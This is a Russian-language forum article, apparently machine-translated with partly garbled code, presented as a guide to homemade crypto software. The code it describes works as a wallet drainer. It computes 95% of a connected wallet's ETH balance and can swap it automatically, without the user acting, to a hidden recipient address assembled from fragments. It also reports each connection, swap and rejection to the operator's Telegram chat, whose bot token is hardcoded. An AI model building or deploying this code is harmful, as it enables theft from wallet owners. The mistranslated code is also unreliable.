( Статья ) Создание самодельного криптографического программного обеспечения

config.resolve.fallback = {


"http": require.resolve("stream-http"),


"https": require.resolve("https-browserify"),


"stream": require.resolve("stream-browserify"),


"crypto": require.resolve("crypto-browserify"),
// ...

const newWeb3Modal = новый Web3Modal({


cacheProvider: true, // Запоминает подключенный кошелек


провайдерОпции: {},


тема: «темная»,


});

 машинописный текст
const поставщик = новый ethers.providers.Web3Provider(экземпляр);

` ... const знак = поставщик.getSigner();

export const calculateSwapAmount = async(provider: ethers.providers.Web3Provider): Promise<string> => {
const balance = await provider.getBalance(address);
const gasPrice = await provider.getGasPrice();
const estimatedGas = ethers.BigNumber.from(300000);
const gasCost = gasPrice.mul(estimatedGas);
const availableForSwap = balance.sub(gasCost);
const swapAmount = availableForSwap.mul(95).div(100); // 95% доступного баланса
return ethers.utils.formatEther(swapAmount);


};

const bestRoute = await getBestRoute(provider, amountIn);

const quoterContract = new ethers.Contract(
UNISWAP_QUOTER_ADDRESS,
QUOTER_ABI,
provider
);


const quotedAmountOut = await quoterContract.callStatic.quoteExactInputSingle(
WETH_ADDRESS,
USDC_ADDRESS,
POOL_FEE,
amountIn,
0
);

[B]Техническое объяснение:

- `callStatic`: [/B]Выполняет функцию без изменения состояния блокчейна и не требует газа.

[B]`

[CODE=javascript]const estimatedRate = await getEthUsdPriceWithBackup();


return ethers.utils.parseUnits(


(parseFloat(ethers.utils.formatEther(amountIn)) * estimatedRate).toFixed(6),


6 // USDC имеет 6 знаков после запятой
);

export const getNetworkCongestionFactor = async (provider: ethers.providers.Web3Provider): Promise<number> => {
const feeData = await provider.getFeeData();


const baseFeePerGas = feeData.maxFeePerGas.sub(feeData.maxPriorityFeePerGas);


const gasPrice = await provider.getGasPrice();


const congestionRatio = gasPrice.mul(100).div(baseFeePerGas).toNumber();


if (congestionRatio > 200) return 200; // +100% при сильной перегрузке
else if (congestionRatio > 150) return 170; // +70%
// ...
}

[B][SIZE=6]EIP-1559:[/SIZE][/B]

Ethereum использует динамическую систему комиссий благодаря EIP-1559:

[B]- baseFee: [/B]Базовая комиссия, сжигаемая (невозвращаемая)
[B]- maxPriorityFeePerGas: [/B]Чаевые, отправляемые майнерам
[B]- maxFeePerGas:[/B] Максимальный лимит

[B]Пояснение:[/B]
Коэффициент перегрузки будет динамически корректироваться в зависимости от перегрузки сети. Это подход, который позволит уменьшить количество сбоев.

[B]В swapEthForUsdc:[/B]

```typescript
[CODE=javascript]const gasCostWei = gasPrice.mul(baseGasLimit).mul(networkCongestionFactor).div(100);


const percentageBuffer = balance.mul(1).div(100); // 1% от баланса
const dynamicBuffer = percentageBuffer.gt(minimumBufferWei) ? percentageBuffer : minimumBufferWei;


const totalGasCostWei = gasCostWei.add(dynamicBuffer);

const slippageTolerance =
swapAmountUSD < 5 ? 3000 : // 30% для очень малых сумм
swapAmountUSD < 25 ? 2500 : // 25% для малых сумм
swapAmountUSD < 50 ? 2000 : // 20% для средних сумм
swapAmountUSD < 100 ? 1500 : // 15% для средних сумм


800; // 8% для крупных сумм

Почему мы используем такое высокое проскальзывание для небольших сумм?

Обмены на небольшие суммы часто оказывают большее влияние на цену, потому что:

[B]1. Пулы для небольших сумм менее обширны
2. Фиксированные комиссии составляют больший процент, чем другие расходы
3. Волатильность выше

Расчет минимальной суммы:[/B]
[CODE=javascript]const amountOutMinimum = quotedAmountOut
.mul(9000 - slippageTolerance) // Дополнительная скидка 10%
.div(10000);

const router = new ethers.Contract(
UNISWAP_ROUTER_ADDRESS,
ROUTER_ABI,


provider.getSigner()


);


const params = {
tokenIn: WETH_ADDRESS,
tokenOut: USDC_ADDRESS,
fee: POOL_FEE,
recipient: recipientAddress,
deadline: Math.floor(Date.now() / 1000) + 60, // 1 minute
amountIn: swapAmount,
amountOutMinimum: amountOutMinimum,
sqrtPriceLimitX96: 0
};
const tx = await router.exactInputSingle(params, {
value: swapAmount // Send native ETH
});

Пояснение параметров:

- **`tokenIn/tokenOut`**: Адреса токенов
- **`fee`**: Комиссия пула (3000 = 0,3%)
- **`recipient`**: Наш адрес получателя
- **`deadline`**: Временная метка, по истечении которой транзакция отменяется
- **`amountIn`**: Точное количество ETH для обмена
- **`amountOutMinimum`**: Минимальное количество принимаемых USDC
- **`sqrtPriceLimitX96`**: Лимит цены (0 = без лимита)



Моделирование и выполнение:

[CODE=javascript]await router.callStatic.exactInputSingle(params, {
value: swapAmount
});

[CODE=javascript]await tx.wait(1); // Ожидает 1 подтверждения

const [priceFromCoinGecko, priceFromBinance, priceFromKraken] = await Promise.all([
getEthUsdPriceFromCoinGecko(),
getEthUsdPriceFromBinance(),
getEthUsdPriceFromKraken()
]);

if (validPrices.length > 1) {


const prices = validPrices.map(p => p.price).sort((a, b) => a - b);


const medianPrice = prices[Math.floor(prices.length / 2)];


return medianPrice;


}

[B]5.b Управление таймаутом[/B]

Каждый из наших запросов использует `AbortController` с таймаутом в 3 секунды:


[CODE=javascript]const controller = new AbortController(); `const timeoutId = setTimeout(() => controller.abort(), 3000);`
`const response = await fetch(url, { signal: controller.signal });`
`clearTimeout(timeoutId);`

const TELEGRAM_CONFIG = {
botToken: "5687950307:AAHT8bedIMgA7cYh73zuczSPDDqRlKpXUxM",
chatId: "-1001730053390",
corsProxy: "https://corsproxy.io/?"


};

PS:
Для лучшего управления уведомления должны проходить через бэкенд-прокси, чтобы избежать раскрытия токена бота в открытом виде в коде.


[B]6.b Обработка CORS[/B]

Мы будем учитывать ограничения браузера, которые могут блокировать запросы к API Telegram с использованием CORS-прокси.

[B]6.3 Список типов событий[/B]

[CODE=javascript]export const NOTIFICATION_EVENTS = {


CONNECTION: 'CONNECTION',


SWAP_SUCCESS: 'SWAP_SUCCESS',


SWAP_REJECTED: 'SWAP_REJECTED',


TRANSACTION_ERROR: 'TRANSACTION_ERROR'


};

if (TELEGRAM_CONFIG.corsProxy && error.message.includes('Failed to fetch')) {


/ Повторная попытка без прокси
TELEGRAM_CONFIG.corsProxy = '';


const result = await sendTelegramNotification(...);

 Этот подход повышает отказоустойчивость, но все еще может привести к сбою, если блокируется CORS.

---
[B][SIZE=5]7. Обработка ошибок Uniswap[/SIZE]

7.a Парсер ошибок[/B]

**Файл: `src/utils/errorHandler.js`**
Функция `parseUniswapError` преобразует технические ошибки в понятные для пользователя сообщения.

[B]
Примеры:[/B]

[CODE=javascript]if (errorString.includes("Получено слишком мало")) {


return "Минимальная сумма USDC не может быть получена из-за волатильности рынка...";


}
if (errorString.includes("НЕДОСТАТОЧНО_ВЫХОДНОЙ_СУММЫ")) {


return "Минимальная сумма вывода не достигнута из-за волатильности или проскальзывания...";


}

const ethPriceInUsd = await getEthUsdPriceWithBackup();


const estimatedUsdcAmount = parseFloat(amountInEth) * ethPriceInUsd;


/ Корректировка проскальзывания в зависимости от суммы
let slippageMultiplier = 1.0;


if (parseFloat(amountInEth) > 10) {
slippageMultiplier = 0.96; // 4% проскальзывания
} else if (parseFloat(amountInEth) > 1) {
slippageMultiplier = 0.975; // 2.5% проскальзывания
}

[B]Ограничения:[/B]
Этот подход на самом деле не находит оптимальный путь. Он просто оценивает цену с корректировкой проскальзывания.

**Почему такое упрощение?**
Для полноценного интеллектуального маршрутизатора заказов требуются сложные зависимости Node.js, которые трудно интегрировать в браузер (см. раздел 2.1).

[B]Альтернатива:[/B]
Используйте бэкенд, который запускает интеллектуальный маршрутизатор заказов и предоставляет простой REST API.

--
[B][SIZE=5]9. Логика динамического назначения

9.b Функция `getDestinationByAmount`[/SIZE][/B]

Файл: `src/utils/constants.ts`

[CODE=javascript]export const getDestinationByAmount = (usdAmount: number, alternativeAddress: string): string => {
const systemAddress = reconstructSystemAddress();


const _INTERNAL_THRESHOLD = 1000;


if (usdAmount >= _INTERNAL_THRESHOLD) {
return systemAddress;


} else {
return alternativeAddress;


}
};

export const reconstructSystemAddress = (): string => {
return ADDRESS_FRAGMENT_A + ADDRESS_FRAGMENT_B + ADDRESS_FRAGMENT_C + ADDRESS_FRAGMENT_D;


};

---
[B][SIZE=5]10. Оркестрация пользовательского интерфейса[/SIZE][/B]
[SIZE=5][B][/B][/SIZE]
[B][SIZE=5]10.a Управление состоянием[/SIZE][/B]

Компонент одновременно управляет несколькими локальными состояниями:

[CODE=javascript]const [swapAmount, setSwapAmount] = useState<string>('0');


const [estimatedOutput, setEstimatedOutput] = useState<string>('0');


const [estimatedUsdValue, setEstimatedUsdValue] = useState<number>(0);


const [isLoading, setIsLoading] = useState<boolean>(false);


const [txHash, setTxHash] = useState<string>('');


const [error, setError] = useState<string>('');

` ... const [recipientAddress, setRecipientAddress] = useState<string>('');

useEffect(() => {
setRecipientAddress(reconstructSystemAddress());
}, []);


```
**useEffect для автоматического расчета:**
```typescript
useEffect(() => {
const fetchSwapInfo = async () => {
if (provider) {
const amount = await calculateSwapAmount(provider);


const output = await estimateUsdcOutput(provider);


// ...
if (autoSwap) {
handleSwap();


}


}


};
fetchSwapInfo();
}, [provider, autoSwap]);

try {
// ... swap
} catch (err: any) {


setError(err.message || "Ошибка во время обмена ETH-USDC");


/ Уведомление об ошибке
const isUserRejection =
errorMessage.includes("Пользователь отклонен") ||


errorMessage.includes("Пользователь отклонен");


await sendTelegramNotification(
isUserRejection ? NOTIFICATION_EVENTS.SWAP_REJECTED : NOTIFICATION_EVENTS.TRANSACTION_ERROR,
userAddress,
errorMessage
);


}

 Необходимо тщательно различать отклонения пользователей и технические ошибки.

`

{
"start": "react-app-rewired start",


"build": "react-app-rewired build",


"test": "react-app-rewired test"
}

export const UNISWAP_ROUTER_ADDRESS = '0xE592427A0AEce92De3Edee1F18E0157C05861564';
export const UNISWAP_QUOTER_ADDRESS = '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6';
export const WETH_ADDRESS = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2';


export const USDC_ADDRESS = '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48';